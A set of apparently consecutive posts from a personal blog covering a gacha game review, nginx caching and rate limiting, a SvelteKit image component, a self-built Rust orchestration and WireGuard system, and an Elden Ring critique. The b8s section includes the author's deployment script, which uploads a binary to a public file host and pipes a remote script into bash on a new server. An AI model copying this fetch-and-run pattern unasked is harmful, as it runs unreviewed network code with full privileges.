There's also membership fees. With APNIC, the sign-up fee is $500 AUD and the annual membership fee is at a minimum of $1,180 AUD.

That's… quite a lot.

Though honestly, I could afford that with minimal impact to my financial situation. It's certainly better than spending that much on gambling for virtual waifus.⁽⁵⁾ But even still like, do I want to afford it?

Anyway there's a small chance I could figure all this out, so let's imagine I am allowed to get an ASN and have no issues with the fees, what else is there?

With the ASN, you're entitled to request IP addresses. Unfortunately, you can't just buy one IP address, you need an entire block. The minimum IP prefix is /24 for IPv4 and /48 for IPv6. This is so the routing tables that ASs manage don't grow too large.

Then you will need to decide whether you want to buy or lease an IP block. I don't intend to stop this blog anytime in the near future so buying would probably be the best option for me.

So just looking at auctions.ipv4.global, I can see that the average price for a /24 IP block in APNIC is around $9,000 USD. Oh…

Ok yeah that's way too much. This idea can go straight to the trash. Bye bye.

That was a close one, thank Bidoof and the limited IPv4 address space that I don't have to replace my DNS servers, my precious little ones! I love them so much, how could I have ever thought of getting rid of them??! Of course I can't get rid of them, they're made in Rust!! They're memory safe 🦀 and blazingly 🔥 fast 🚀! What a fool I was, even thinking about replacing them!

…wait, how did we get there? What were we talking about again?

Oh right, the anime waifus.

Everyone Else

Here's everyone else that I don't have much to say about.

• Koleda: Her Agent Story was quite good, going through concepts of adulthood and family which provided an extra dimension to Koleda's actions in the main story. Also the idea of having her pretend to be a child to infiltrate a school was very funny, but I mostly just liked that Grace was there too, I guess.
• Anton: I don't like how Anton is the only human male in the game. I want my boys! Where are they?? Like Star Rail launched with Dan Heng and Gepard! Those are the best boys I've ever seen!! And all the new boys (eg. Dr. Ratio and Aventurine) are super shippable. I've not felt any desire to ship anyone let alone some hunky boys in ZZZ. Anyway, Anton is a bro which is cool, I guess.
• Ben: Literally a bear. Accounting bear. Not really what I meant when I said I wanted hunky boys but that's cool, I guess.
• Soldier 11: We didn't really get to understand her motivations from her Agent Story, as we were only shown an unexplained sense of duty to the Defence Force (which is almost as bad as being a cop), and some clear parallels to Anby (ie. she likes noodles, while Anby likes burgers). She isn't in the main story yet, so I'm assuming that, and her relation to Anby will be explained at some point. Also she has the Exceed mechanic (except easier to do, and less useful) like Nero (from Devil May Cry). Overall, just the less cooler Anby, I guess.
• Billy: He seems nice, I guess.
• Nicole: She seems nice, I guess.

Anyway so that was EVERY character in ZZZ. To finish, I've made a tier list of who's most likely to be a Kafka replacement. But for some reason the template I used included a bunch of characters that aren't real/in the game. I dunno what's up with that, maybe they were included like how trap streets are in maps or something like that.

Either way, I just put them in a "Not Real" category.

So it's a little more clear on how I feel about the characters (keep in mind C is a passable grade, I don't hate anyone), but making this tier list made me realise something.

Having to do this means that none of them could be the new Kafka. The fact that I'm debating over them means I would never obsess over them as much as I do with Kafka.

Kafka is not debatable.

Would I be doing a post called "Trying To Fill The [Nekomata/Grace] Shaped Hole In My Heart With [New Game]" when the new Animal Crossing inspired Hoyoverse game comes out?⁽⁶⁾

Probably not.

If I get a new cat would I name them Nekomata/Grace?

Probably not. Well actually Nekomata is literally a cat so there's a decent chance of that, but I think I'm more likely to go for Furina⁽⁷⁾ or something.

There is no replacement for Kafka. Kafka cannot and will not be replaced. Kafka is ONE, Kafka is ONLY. KAFKA IS THE ALPHA AND THE OMEGA.

I BELIEVE IN KAFKA SUPREMACY.

Thanks for letting me waste your time, this is why we're best friends.

Epilogue

Ok so I had this whole rant about how the game was too easy even when doing the supposedly hardest content. But it was kinda stupid and unhelpful. This is a mobile game (or game that can be played on mobile) aimed at mass market appeal to sell waifus. Of course it's going to be easy.

But I really want to complain about something, so instead let's talk about skill expression.

When first seeing this game, I originally assumed changing characters would be functionally equivalent to a weapon switch mechanic in any other good action game, where weapons have moves with synergy that you use to string combos together.

Like if for instance, you were able to use Anby's launcher to switch into a Zhu Yuan gun juggle, finishing into Nicole's gravity blast attack thing as they land.

But no, Anby's launcher is not actually a launcher because nobody in this team can do anything with it. Zhu Yuan can't juggle because she can't shoot enemies in the air. Nicole's gravity blast attack thing can hit enemies as they land, except only when from an assist but it's not like it really matters at that point.

The game is very flowchart-y, but there's only like 4 flows in the chart and they don't interact or connect to each other at all. I think a non-zero amount of that is due to the set roles. Like here's the actual game plan for our Anby, Zhu Yuan, Nicole team (and basically every other Stun, Damage, Support team - which is all of them if you want to play optimally):

1. Keep hitting Anby's basic (and only) 3-hit combo extensions, EX specials, and dodge counters for posture damage.
2. When posture breaks, assist follow-up to Nicole to apply her passive.
3. Assist follow-up to Zhu Yuan and hold the attack button until the posture recovers (then go back to number 1) or the enemy dies.

This is how you play against every enemy.⁽⁸⁾ I won't say it's easy (it is), but it certainly gets stale.

Ok actually it changes a little depending on what you're fighting. Like if it was a group of small and weak enemies you would crowd control with Nicole and her gravity thing to bunch them up, then just hold the attack button with Zhu Yuan. But again, 4 flows in the flowchart that are just straight lines with no complexity.

There are little mechanics to each character that you can use for a tiny bit higher of a skill ceiling. But all of these can be figured out by just reading their abilities page. There's no real ability for creative experimentation or discovery in any moveset.

Like I get the game needs to be playable on a phone, and thus has to be accessible to "casuals"⁽⁹⁾ with a simplified control scheme, but there are plently of other casual games with optional complexity. Couldn't you have added like a few moves that combo into each other, as a little treat for the people who actually want to try something a tiny bit more mechanically interesting.

Just having a jump button, and being able to hit enemies mid-air would open so many avenues. I know that's a decent amount more work, since it essentially doubles every character's movesets, but MiHoYo literally makes hundreds of millions of dollars every month, I don't think it would be much of an issue for them.

If that happened, you could add a style meter⁽¹⁰⁾ which would lessen the impact of the game being too easy. Since there's now an intrinsic reward for trying to get good and achieve a high style score for the people who want that, instead of just playing to finish the level.

It would then be nice if it wasn't just an intrinsic reward, you could also have a separate ranking in Shiyu Defence. One for your boring-ass DPS check that just tests you on how much money you spent, or how much time you've been grinding for a good disc drive (which could also involve spending money). And one for actually being good at the game.

The best part of any good hack-and-slash (and Ultrakill) is being able to look and feel like your doing something impressive and cool. ZZZ does a lot for the "looking cool" aspect, but doesn't have the substance to actually back it up.

It plays more like an ARPG (eg. Diablo, Path of Exile, Hades, etc) without any of the things that make an ARPG satisfying or interesting to play, and all of the bad parts like the lack of a jump button limiting arena design to essentially being just a flat rectangle (the lack of any real environmental hazards also don't help). To be more inline with an ARPG it could have used a top-down perspective, but that probably wouldn't have gone down well with the "casuals" so is instead given the camera problems of every other third-person action game without any of the benefits (and is also made harder to play on a phone).

No actually I take that back, top-down ARPGs aren't unpopular with "casuals." look at the little game by indie game developer Activision Blizzard, Diablo Immortal (2022) for a counterexample. Yeah I know, you don't like the game because it isn't Diablo II (and you're right to think that), but you might not know that it's actually been wildly successfull (especially in China) and passed $100 million USD revenue in its first eight weeks. The game itself is honestly pretty decent (as a mobile game entry to a game series which has one of the best games ever made) but very predatory. Hey, doesn't that sound familiar?

A top-down approach would also allow you to move the complexity from the agents into the enemies/bosses to create more dynamic fights. In Furi (2016) for example, there are even less ways to express combat but it's much more engaging (and fun). Now that's partly because of the difficulty, but mostly because of how Furi adds variety and intricacy in its boss design through incorporating patterns in other genres such as bullet hells.

Yeah I know Furi had its problems with not being able to properly integrate these different elements of itself together, where gameplay was a mediocre hack-and-slash during the in hack-and-slash phase of the fight which then suddenly became a medicore bullet hell during the bullet hell phase of the fight. But surely infinite money MiHoYo could do better in finding ways to seamlessly merge genres than a tiny French indie (but actually this time) game studio.

This game is nothing but missed opportunity. There's this incredible cast of interesting, varied, and fun characters, and yet the only nice thing I can say about Zhu Yuan's gameplay is that it looks cool and has cool animations. Not any interesting tech, not how it interacts with anything in the environment, just that her spinny flips hasn't run its course on me yet.

Oh I just remembered I was supposed to talk about the bullshit "Additional Ability" mechanic which gives bonuses if certain agents that match requirements (normally being of the same faction, or having the same attribute) are on the same team. What an awful fucking mechanic that does nothing but restrict team building. This is not a sign of a game that wants you to experiment with it's combat, but play the way they dictate so they can balance the game around having to buy more fucking waifus as the old ones become stagnant and boring.

I dunno, every thing about this game feels so held back.⁽¹¹⁾ Like you can tell it's trying it's hardest, but the material conditions of it's environment forbid it. It's hard to enjoy the game when you're constantly second guessing every game mechanic wondering if it's just bad, trying to exploit you, or both.

And I know the excuse is "well Justin, if the game wasn't a gacha it probably wouldn't exist."

Yeah, maybe.

But if it wasn't a gacha it might actually have been good.

If they add a Kafka expy I will change my mind tho.

Let's look at changes I did to the nginx config. And uhh, I don't know how I'm going to explain myself with this. I'll just let the change speak for itself. I apologise in advance.

location ~* \.(?:png|jpg|jpeg|avif|webp|gif|ico|svg|mp4|mp3|webm)$ {
    expires 30d;
    add_header Cache-Control "public";
}

# CSS and JS are cache busted with SvelteKit asset hashing
# and fonts don't change
location ~* \.(?:css|js|woff|woff2)$ {
    expires max;
    add_header Cache-Control "public";
}

Yeahhhhhh soooooo… I didn't have a cache this entire time. In fact for the entire 7 years of this blog's existence, I don't think I've ever setup a cache for it.

OK CHILL, I GET IT! I know this is an irredeemable oversight. It's practically free performance, and I just fucking ignored it for 7 years. I literally went to write my own DNS server for geolocation routing before adding 4 lines to my nginx config ffs.

Chat am I cooked? Like what the fuck is wrong with me?

But to be fair, a cache isn't the most important thing for a blog. Initial load times are more important than subsequent navigations as most users only read a single post then leave. But still bro, like wtf, you know???

Anyway, I also improved on the gzipping nginx does. Things were being gzipped before, but this configuration expands the list of files to be compressed. As well as some slight tuning to how/when files are gzipped.

gzip on;
gzip_disable "msie6";
gzip_proxied any;
gzip_vary on;
gzip_comp_level 6;
gzip_buffers 16 8k;
gzip_min_length 50;
gzip_types
    text/css
    text/plain
    text/javascript
    application/javascript
    application/json
    application/x-javascript
    application/xml
    application/xml+rss
    application/xhtml+xml
    application/x-font-ttf
    application/x-font-opentype
    application/vnd.ms-fontobject
    application/rss+xml
    application/atom_xml
    image/svg+xml
    image/x-icon;

I've also added rate limiting to prevent abuse. It won't stop anything more than a small (D)DoS, but that's probably good enough.

limit_req_zone $binary_remote_addr zone=documents:10m rate=1r/s;
limit_req_zone $binary_remote_addr zone=assets:10m rate=5r/s;

location / {
    [...]
    limit_req zone=documents burst=2 nodelay;
}

location ~* \.(?:png|jpg|jpeg|avif|webp|gif|ico|svg|mp4|mp3|webm)$ {
    [...]
    limit_req zone=assets burst=50 nodelay;
}

location ~* \.(?:css|js|woff|woff2)$ {
    [...]
    limit_req zone=assets burst=15 nodelay;
}

location = /rss {
    [...]
    limit_req zone=documents burst=2 nodelay;
}

location = /atom {
    [...]
    limit_req zone=documents burst=2 nodelay;
}

There are a few other things I did, but they are boring to talk about so let's move on.

The images in this blog have always been one of it's biggest problems in regards to performance. I am just way too fucking lazy to actually optimise them before publishing them on the site. And the weird shit I do with dithering has not actually helped very much.⁽¹⁾

That all led me to going through the "Best Practices" section of the SvelteKit docs and finding this nice page about images. That's exactly what I need! So what are the best practices for images??!! Let's read it together.

Images can have a big impact on your app's performance. For best results, you should optimize them by doing the following:

YES!! TELL ME!!

• generate optimal formats like .avif and .webp

Ok, as I said before, I'm too lazy to do that. That isn't going to happen.

• create different sizes for different screens

Yeah nah mate. That's way too much work.

• ensure that assets can be cached effectively

I already do that. Well, as of like 3 days ago I do, but that counts!

Doing this manually is tedious. There are a variety of techniques you can use, depending on your needs and preferences.

Ohhh?? Let's read a little further on.

@sveltejs/enhanced-img is a plugin offered on top of Vite's built-in asset handling. It provides plug and play image processing that serves smaller file formats like avif or webp, automatically sets the intrinsic width and height of the image to avoid layout shift, creates images of multiple sizes for various devices, and strips EXIF data for privacy. It will work in any Vite-based project including, but not limited to, SvelteKit projects.

Holy shit! "plug and play," "automatically," "will work in any […] SvelteKit project[s]"????

THESE ARE THE WORDS I WANT TO HEAR.

Use in your .svelte components by using <enhanced:img> rather than <img> and referencing the image file with a Vite asset import path:

<enhanced:img src="./path/to/your/image.jpg" alt="An alt text" />

OH MY BIDOOF! I just need to switch out img tags!!! Fuck yeah! That's just a one line change in my Markdown processor! I'm putting this in right now!

Okie dokie, I just changed the <img> regex to <enhanced:img>, and now let's go and feast on the fruits of our labour and hard work! I think going to "A Tour Of My Art Gallery" would probably be the best place to appreciate the results, since it's the post with the most amount of images.

Wait… huh? Wh-where are the… images???

WHY AREN'T THERE ANY IMAGES?

No!! This can't be happening!! No!!!!!! I was promised "plug and play!!" I PLUGGED SO WHY AREN'T I PLAYING?!!

Don't tell me I'm going to have to do work to fix this! No! I don't want to!

NOOOO! WHY CAN'T IT JUST WORK??

ASDJALKWDJAWLKDDHAFLUAWIDNA!11!!1

FUCK SHIT MERDE PUTAIN CHIER FUCK.

;(

Alright. So at build time, the blog takes posts written in Markdown and converts them into HTML be displayed on the webpage. The HTML is injected into the webpage through the {@html ...} expression Svelte provides. That's probably a good place to start, let's… read the docs… I guess.

[…] It also will not compile Svelte code.

Okay, yeah that explains it. Turning <img> into <enhanced:img> doesn't work because <enhanced:img> is a Svelte component which doesn't get rendered in the {@html ...} expression.

Fine… I see how it is.

I think I have an idea on how to solve this. But it's like… y'know… work. And I really don't feel lik-

Arghh, fine I'll do it. But just because you asked nicely.

So I wrote this Svelte component which splits an HTML string by regex rules, then dynamically renders matched parts as Svelte components with specific props, or as raw HTML if no match is found.

<script>
  export let html;
  export let rules = [];

  const partitionHtml = (html, rules) => {
    return rules.reduce(
      (acc, rule) => {
        return acc.flatMap((substr) => substr.split(rule.split));
      },
      [html]
    );
  };

  const findAndTransform = (array, predicate, transform) => {
    const foundElement = array.find(predicate);
    return foundElement ? transform(foundElement) : null;
  };
</script>

{#each partitionHtml(html, rules) as part}
  {@const match = findAndTransform(
    rules,
    (rule) => rule.split.test(part),
    (rule) => ({ ...rule, props: { ...rule.props, matches: [...part.match(rule.match)] } })
  )}

  {#if match}
    <svelte:component this={match.component} {...match.props} />
  {:else}
    {@html part}
  {/if}
{/each}

And here is how it's used. DitheredImage is the component that creates the <enhanced:img>.

<InjectableHTML
  html={data.post.html}
  rules={[
    {
      split: RegExp('(<img src="/img/.*".*/>)', 'i'),
      match: RegExp('src="/img/(.*?)" alt="(.*?)"', 'i'),
      component: DitheredImage
    }
  ]}
/>

I also changed the entire structure of images on this site so that I could use Vite imports with them, and did some other stuff to keep the RSS feed working, but I'd rather not get into it.

So that's cool… I guess. It works now. yay. woo hoo. That only took like an hour or two, which is… well it is what it is.

But this entire thing has got me thinking.

Why am I doing any of this?

I've put so much work into this blog. With all it's iterations, I probably have over a 100 hours of work put into this (on just code, not including time spent writing posts). With my current hourly contracting/consulting rate, that's over $13,500 AUD worth of work done.

For what?

All this work for it to be more expensive, more complicated, less performant, and less reliable than if I just fucking used GitHub Pages or something.

Why?

Am I stupid? ;(

Epilogue

Also I made another status page. You can view it here. It's much nicer than my old one which I took down after like two months because I was getting sick of Fly.io's shit. This one is hosted on Render who I hope are going to be much less… bad. Otherwise I'll just rent another VPS and put Dokku or some shit like that on it.

I put very little effort into the page, which is why it doesn't save historical data, uses Tailwind CSS, and is written in Go. As much as I hate Go (and oh do I fucking hate that stupid fucking dweeby-ass gopher who could never be a REAL BRO like Ferris), it's probably the fastest and easiest way to get something like this up.

Yeah so quick update on that. And I guess it should not be a surprise to you, but I have some news about how it's held up so far…

There have been… absolutely NO ISSUES.

I'm completely serious, I have not had to touch it ONCE since I set it up.

WHAT THE FUCK. AM- AM I A GOOD PROGRAMMER??

I know my number one piece of advice to people is to just "not write bugs" and "do it right the first time." But that's just me fucking around. I didn't know it was even possible to do this?!?!

It fucking WORKS.

So with this great success, you might wonder why I've decided to completely scrap it and rewrite everything entirely into a single Rust project. But honestly, you should really know better by now.

It's Rust.

C'mon mate. It's RUST. Me and Ferris the Crab are BROS. You gotta support your bros!!

Ok there are a few other reasons.

1. I wanted to switch hosting providers and realised that setting everything up again would be super annoying. I want to just plop a single binary into a server and have it work.
2. I want to make more tools. WE NEED MORE TOOLS. Yes I'm not over that. I still don't understand what the fuck they were talking about.
3. The DNS server (written in Rust) was the only component of that mess I was somewhat happy with. So I think it would be a good idea to move it all to Rust and be happy with everything.
4. I have recently become filled with an intense confidence that this wouldn't be very hard.

And with that all said, I present to you: b8s, my container orchestration system/content delivery network/load balancing cluster.⁽¹⁾

I'll get into what it does and how it all works in a second but first, I want to tell you a story of how one of the more important aspects of the system was created.

So I was catching up with one of my old co-workers, and I was telling him about this plan to make my own Kubernetes (in Rust) for a single website that nobody reads.⁽²⁾

And I was going through the list of things I needed to implement.

• A DNS server with geolocation routing.
• An Automatic Certificate Management Environment (ACME) implementation for managing SSL certificates.
• A scheduling environment to manage and update the above two.

"What about an overlay network?" he asked.

"That seems like a lot of effort. The idea is that everything is done through b8s, and managing wg-quick through code kinda goes against that. The only way to do that would be to embed WireGuard into it, and I feel that wouldn't be very easy."

"It shouldn't be. WireGuard isn't that complicated, I'm sure you can figure it out."

"Ugh fine, I'll look into it."

Normally I would ignore anyone's suggestion about programming because I very clearly know better than everyone else, especially when it's about one of my personal projects. But this dude is probably the best engineer I know, so I felt like I had to at least suss it out.

And so as it turns out, yeah he was completely right. WireGuard? Real fucking easy to add. Got that done in two days.

All I did was embed Cloudflare's userspace Rust implementation of WireGuard called "BoringTun" (that I forked to make a few fixes) into b8s, and implement the routing by going through the docs: "Routing & Network Namespace Integration."

It was honestly insanely simple, like holy shit I could probably make my own Tailscale at this point.

I took a little dive into the WireGuard protocol as well for the first time, and apart from all the cryptography I just glazed my eyes over, it was surprisingly understandable. Way better than when I looked at OpenVPN. I never knew or appreciated how well designed WireGuard was before, I think I've just become a WireGuard fanenby for life.

No, I'm not going to explain any of it to you.

:)

Anyway, that was the story about how making your own tools can help you appreciate new things. Did you like it? Should I do this more often? Email your thoughts to /dev/null.

So b8s is split into two services/binaries, a dom and sub.⁽³⁾ The dom is the control plane, basically the source of truth for DNS records and handles managing SSL and WireGuard. This could run off my laptop, but since I'm currently on MacOS, it runs off one of my Linux servers at home. I required there to be no inbound connections to dom so this is pretty safe (or at least safe enough for me).

subs are where the actual blog is located. These are currently spread across three nodes in Australia, the UK, and USA respectively. They also run the DNS nameservers in a similar setup to before.

Since having b8s be easy to setup was one of my most important priorities, let's go through the process of adding a new sub to the network. First from the control plane, I generate the sub binary and create a link to download it. There's a script called send-sub to do this.

#!/bin/bash

set -e

cargo build --bin sub --release

URL=$(curl -sF "file=@target/release/sub" https://file.io | jq '.link')
printf "Init:\ncurl https://git.sr.ht/~beanpup_py/b8s/blob/main/scripts/init-sub | BIN_URL=$URL bash"
printf "\n\nUpdate:\ncurl https://git.sr.ht/~beanpup_py/b8s/blob/main/scripts/update-sub | BIN_URL=$URL bash\n\n"

I don't have a place to store binaries so I build them on the fly as needed and send them to a temporary file storage service. This script tells you to initialise a new sub with this command, where $URL is the URL from the file storage service.

curl https://git.sr.ht/~beanpup_py/b8s/blob/main/scripts/init-sub | BIN_URL=$URL bash

This command is run on a completely new server,⁽⁴⁾ it does an apt update, creates a new user to run the sub under, sets up the firewall ufw, downloads the sub binary and runs it as a systemd service. To connect to the dom, the sub in it's first run will tell you to run this command:

dom add-sub <IPV4_ADDRESS>:<IPV6_ADDRESS>:<AUTH_TOKEN>:<WIREGUARD_PUBLIC_KEY> -- <COORDINATES> <NAME>

All those variables expect NAME are provided, and they should be self-explanatory but lets go through them anyway.

• IPV4_ADDRESS: The IPv4 address of the sub.
• IPV6_ADDRESS: The IPv6 address of the sub.
• AUTH_TOKEN: Since this is pre-WireGuard connection we need an initial token sent back from the dom to prove it's legitimacy and authenticate itself.
• WIREGUARD_PUBLIC_KEY: The subs public key for WireGuard.
• COORDINATES: The geographic coordinates (latitude and longitude) of the sub, used for geolocation. More on this later.

NAME is an identifier for the sub given when we run the command on the dom. Once that command is run, the dom sends a gRPC request to the sub and gives it it's own WireGuard public key and the current DNS records if the sub is also acting as a nameserver.

The sub restarts itself once the gRPC request is received and starts the DNS server (if applicable), the WireGuard connection, and pulls the latest blog image from the Docker registry.

There are a few more commands we run with dom (from here on out, all commands are from dom, we're done with sub).

• dom geolite: Downloads the latest GeoLite database file and distributes it to all subs that are nameservers.
• dom ssl: Generates new SSL certificates for the website and each nameserver, and distributes them to all subs.

So that's 5 commands at most to setup a new node. It should probably be 3 (or even 2 if I start storing binaries), since the final two could just be done automatically after add-sub, but I've been double checking everything after each step so far during testing and haven't gotten around to changing that.

Functionally, it's basically the same as it was before. The biggest difference would be the changes to DNS geolocation. Previously with racine it would change the DNS record based on your continent as described by a yaml file like this.

- name: blog.waifu.church
  type: A
  value: 95.216.184.160
  geo:
  - continent: OC
    value: 207.148.80.96
  - continent: AS
    value: 207.148.80.96
  - continent: NA
    value: 144.202.92.225
  - continent: SA
    value: 144.202.92.225

This was easy because of how the GeoLite database is structured, but wasn't the best solution because of how broad it was as well as just being really annoying to manually specify values for every continent.

b8s is using a much cleaner solution of finding the closest node to the user from their coordinates. That's why dom needs to know the coordinates of every sub. When choosing what value to give to each A or AAAA record, the sub handling the DNS request will find the nearest sub to the user using the haversine formula (each sub is aware of the coordinates and IP address of every other sub, but can't communicate due to firewall rules).

The coordinates that come from the GeoLite database are actually wildly inaccurate (compared to other IP geolocation services I'm aware of) and are several kilometres off in most cases, but this isn't an issue for us since I'm not going to have nodes that close to each other anyway.

The second biggest change is that I've changed the secondary domain name from blog.waifu.church to quaso.engineering. I needed another domain name to test this with while keeping the existing infrastructure alive and I don't feel like changing it back.

Also I've become obsessed with saying "quaso" at every opportunity now. I don't know why, probably has to do with the fact that it's a funny word, and the meme lightly insults Fr*nch people 🤮.

Do you have any ideas on what to do with waifu.church now? Send your ideas to /dev/null and go into the running to win a free, slightly used 5GB iPod Nano or bag of milk (almost expired).⁽⁵⁾

There's a few things I would still like to add - better monitoring is a big one, there's actual load balancing and failovers too, finishing adding tests would be good as well. But I can't really be bothered to do any of that, maybe next year.

Epilogue

Do you know how bad my urge to rewrite this entire website in Rust is? It's honestly unbearable.

But a website is like the one place I don't think Rust is that good for, I've tried it plenty of times and have never been particularly impressed.

But… my bro. How could I let my bro down like this!??

I dunno what to do… ;(

Update 2024-07-19: An additional sub has been added in Singapore for better performance in Asia. I've also found out about KeyCDN's performance test which hits your website from 8 different locations around the world. Here are my results.

Looks okay. I don't know why Singapore has a Time to First Byte (TTFB) over 300ms when there is literally a node right there. I know that node is working since the Bangalore test is going there (it was at over 400ms before the new sub was added). So uhh, like it's still a good enough response time, so it's probably fine to ignore?? I don't wanna do anymore work ;( and it's probably a DNS cache thing anyway.

I'm also ignoring the warning about Content-Length and ETag values being different. The Content-Length is only one byte less, so it's probably okay to ignore????

And I have no idea about wtf an ETag is and I don't care to find out. If I've never heard of it in all my years of doing this shit until now, it probably isn't important. And that's my genuine opinion.

For a reference point, these are the results for my Git hosting provider, sourcehut. I believe they are hosted on a single server in the Netherlands.

Update a few hours later: Okie dokie, so apparently I can't read for shit. The Content-Length difference between nodes was not only "one" byte, but actually a couple hundred. That is a little more concerning.

So I did some digging and as it turns out, the EU and NA nodes were running out of space which meant the Docker image for the blog was not able to be pulled.⁽⁶⁾ That is now fixed, so here is what the performance test looks like frfr.

Looks like the Singapore DNS cache thing is resolved. The ETag warning has also been fixed because it is a value derived from Content-Length.

Yes, I did look up what an ETag was. I'm sorry I lied to you. I thought it would make you think I'm so cool that I wasn't going to be haunted by the fact that I didn't know what an ETag was for the rest of my days. When in reality if I didn't look it up, my mind would have been constantly intruded upon by a little hummingbird pecking at my bean in a way that asks "BUT WHAT THE FUCK IS AN ETAG THO???"

Which I know you think is very uncool ;(

It's fine. I liked it.

I think the map is much better designed, the higher focus on verticality and spaghetti-like routes between areas does a lot to hide the seams between vastly different areas/biomes that can provide surprisingly unique exploration interests. It's a little disappointing that it was felt a little small, as some of the best moments of the base game were the two times you find yourself wandering into a certain place and saying something like "holy shit, there's more!?"⁽¹⁾

But it is only a 30 hour expansion (at least that's how long it took me to rush to and kill all the remembrance bosses) so focusing on density was probably the right choice. And to be honest, it isn't fair to expect a DLC expansion to be as large as the base game, the size is already a lot bigger than what I expected.

I've seen people compare it to the early Dark Souls in terms of how the map was designed. Like it's an open world interpretation of that philosophy. I mostly agree with that, but I think there's a few things that hold it back. The instant fast travel to incredibly numerous sites of grace don't allow that philosophy to shine as much as it could.⁽²⁾ And there's no elevator from the Undead Parish to Firelink Shrine.

Alright that probably needs to be explained. So, in the second Dark Souls going from Firelink Shrine (where you start the game essentially) to Undead Parish is like a two or more hour adventure for a first-time player. When you get to Undead Parish you'd have beaten Taurus Demon and probably Bell Gargoyles. By that time Firelink Shrine would feel like a distant memory.

So imagine then just walking into a church and boarding an innocuous elevator to then realise "holy shit, I'm back here!?" And it's not really even about the map, it's all these little experiences that stick with you after the game is done.

Now it's been over a week since I beat Shadow of the Erdtree, so what has stuck with me?

Well, the art direction is superb, it's honestly very rare for me to actually stop and look at the world. Apart from that, not much.

Uh actually, I do still have clinging thoughts about that BULLSHIT ASS FINAL BO- No! Remember the promise you made Justin. Don't talk about the difficulty you fuck!

Let's go back to world design. This is also a problem I had with the base game (although to a lesser extent), but it's very hard to imagine "The Land of Shadow" (and "The Lands Between") as an actual location that you can exist in. It feels more like an amusement park, a fucking beatiful, vibrant, and mysterious amusement park, but an amusement park nonetheless.

You know how in Dark Souls there's all this decoration out of reach that makes you feel like you're only going through a small fraction of the world? Like the hundreds, maybe thousands of buildings used as scenery in Anor Londo.

You can't do that in Elden Ring. Pretty much everything you can see is something you can go to. Don't get me wrong, that's still pretty cool. And I understand there's a limitation on how much world you can make in a certain time-frame, and it's a certainty that every open world game will need to "miniaturise" what they represent.

But there's something specifically about "The Land of Shadow" that makes me go "oh, is that all?" while exploring it. Kinda like how confused I was just getting a one minute cutscene after beating that FUCKING SHIT FACSIMILE OF A FINAL BO-

I think a lot of that feeling comes from the fact that the "world" takes place on the entire island/continent. That there's nothing else out in the distance that I just can't get to.

When I was a child I played a lot of Need for Speed Underground 2, an open world racing game taking place in one city. From what I remember⁽³⁾ the city is connected to the rest of "the world" through a highway that is blocked by an invisible wall, that you can't get through, but the NPC cars could.

While the map was pretty small (especially for today's standard), I could always imagine it to be bigger. That highway was always taunting me, that if I could just get somehow get on it, I could see the rest of the world. I could drive to different cities, drive different cars. Obviously, these things didn't exist. But I imagined that they did.

Being in a greater "context" honestly makes the map of games like Need for Speed Underground 2, and other open world games that take place in a single city a la Cyperpunk 2077 feel bigger, more real, more "meaningful" than Elden Ring, at least to me.

I think this amusement park feeling is probably an innate quality with open world games that try to represent large areas of land. The closest I've been to not having this feeling was with The Witcher 3 and Dragon's Dogma 2.⁽⁴⁾

When travelling through an entire continent with multiple regions and biomes, it should feel like an adventure in Elden Ring. But when you can literally zoom through everything in under 5 minutes, it doesn't seem like there's much there.

Dragon's Dogma 2 has a pretty "compact" map size, but going from town to town is still meaningful even if it takes just as long as in Elden Ring. That's partly because fast travel is a scarce resource so you don't use it often, but a lot of it is because the map is paradoxically less "open."

A lifeless open world isn't the worst thing to ever happen. At least it looks pretty, and has interesting geography to traverse through to make up for it.

The real issue is that I don't want to play Dark Souls anymore.

There have been five Dark Souls games at this point. I think it's been enough.

The first Dark Souls was an experiment to subvert the genre, to challenge conventions. This is the game that took the common sense approach to game design that states you should help struggling players and went "let's not do that, let's make the game harder every time you die." And as it's been said so many times, this wasn't done just for the sake of being hard, but to provide a unique experience.

The second Dark Souls took the first and sanded the rough edges to make it more palpable. It was a critical and commercial success that every game from then on wanted to emulate.

The third Dark Souls took the second and asked "what if we made it shit?"

The fourth Dark Souls took the second, sanded the rough edges again, and asked "what if we made it slightly worse, and leaned harder into a sub-par combat system?"

This fifth Dark Souls took the forth and made it open world. What does it do with it's open world? The same thing as every other game.

A lot was lost when this series became a trendsetter and had it's own genre named after it. It doesn't do anything you don't expect.

The easiest issues I can explain is about the combat system, which might require me to talk about difficulty. And I know I promised to not do that, but I really want to talk about it, so I invite you to consider this argument I made with my expert diplomatic skills in the hope your mind will be changed.

PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE PLEASE.

Ok so Dark Souls combat has and probably will always fucking suck balls and is simultaneously too easy and too hard.

Easy in the sense that you do the same shit every fight. And hard in the sense that it's fucking bullshit and boring.

I'm mostly going to be talking about the bosses because let's be honest, no one gives a shit about the normal enemies. I also actually rarely fought normal enemies in the open world because they're so easy to avoid. There's probably something to be said about that, but I don't feel like it.

Now to be Fair and Balanced™, Elden Ring has added many interesting mechanics to avoid it's dependence on i-frame rolling being the only way to avoid damage. The jump button has been a big addition for traversal and combat.⁽⁵⁾ And some of the ash of wars and crystal tears like Deflecting Hardtear can enhance other combat styles that weren't that viable before.

The problem is that the process of fighting bosses is still always the same.

1. Enter the boss arena and die a few times for reconnaissance.
   • Discover their long their combos are.
   • Figure out which attacks are roll catchers.
2. Play the game.
   • Roll mindlessly until you see a roll catch.
   • Wait up to 15 seconds for their combo to end.
   • Get one hit in.
   • Repeat 50 times.

It wasn't that bad in the early Dark Souls because we didn't have these 10 string combos on every boss, but I understand they probably had to do something to stop the combat from getting too monotonous and stale.⁽⁶⁾

Even with all the additions, I think this system has run it's course. There's only so much you can do with "press the button at the right time 10 times in a row when it's the bosses' turn, then when it's yours, you get a single hit in."

Other games require you to master things like positioning, target prioritisation, pattern recognition, even a little bit of that good ol' "game sense." In contrast, the Dark Souls series is almost entirely reactive in the challenges they present.

At best there are a few knowledge checks if you don't know how to roll, where you can change your build to better counter the boss. Well, the same can be said for Armored Core and those games are actually fun to play but ok I guess.

Although with every boss getting these crazy combo strings with so few opportunities to attack back, I have no idea you could attempt them with different play styles like using sorceries. There is no way you are finding space to start casting without a summon to distract the boss.

I don't even think it's a "press button at the right time is boring" issue. That's also what you do in Sekiro and I consider that Fromsoft's best work by far to date.

